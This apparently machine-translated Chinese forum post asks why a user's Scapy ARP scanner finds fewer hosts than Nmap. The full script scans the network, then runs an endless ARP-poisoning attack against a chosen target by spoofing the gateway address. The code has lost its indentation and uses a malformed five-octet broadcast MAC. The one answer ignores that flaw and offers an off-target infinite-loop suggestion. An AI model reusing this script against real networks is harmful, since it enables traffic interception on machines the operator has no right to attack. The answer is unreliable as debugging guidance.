我试图用Scapy构建一个arp扫描程序脚本。每次我进行扫描时,我都无法获得预期的结果。我只得到两个响应:一个来自网关,另一个来自我的主机(我从虚拟机Kali执行扫描)。有时,我只得到一个回复,这就是全部。但是,当我使用其他工具(如Nmap)进行ARP发现时,我得到了所有预期的响应(来自八台机器)。我的代码人员有什么不对?你能帮助我吗 ? : - (
from scapy.all import *
import sys
from datetime import datetime
def Out():
print "\nBye!"
sys.exit(1)
try:
os.system('clear')
interface = raw_input("Enter interface : ")
ips = raw_input("Enter network address : ")
collection = []
print "Scanning..."
start_time = datetime.now()
conf.verb = 0
ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF")/ARP(pdst=ips),iface=interface,timeout=2,inter=0.5) #Arp scanner starts here
n=0
for snd,rcv in ans:
result = rcv.sprintf(r"%Ether.src% : %ARP.psrc%")
collection.append(result) #append to collection
print n, "-", collection[n]
n=n+1
stop_time = datetime.now()
print "\nScan done in ", stop_time - start_time, " seconds."
if n > 0:
target=raw_input("\nPlease enter host to arp poison : ")
gw_addr=raw_input("Enter the gateway address : ")
print "\nArp poison on host", target, "starting...\nHit Ctrl + C to Stop.\n"
p=ARP(pdst=target,psrc=gw_addr) #arp poison attack starts here
send(p,inter=RandNum(10,40),loop=1)
else:
Out()
except KeyboardInterrupt:
Out()
答案 0 :(得分:0)
尝试使该工具无限运行,并使用该代码重新打印结果
import sys
print"\rthe result",
sys.stdout.flush()
我认为第一个结果仅此刻就为您带来流量,并且Infinit循环将监视所有结果。
我希望你能找到答案;)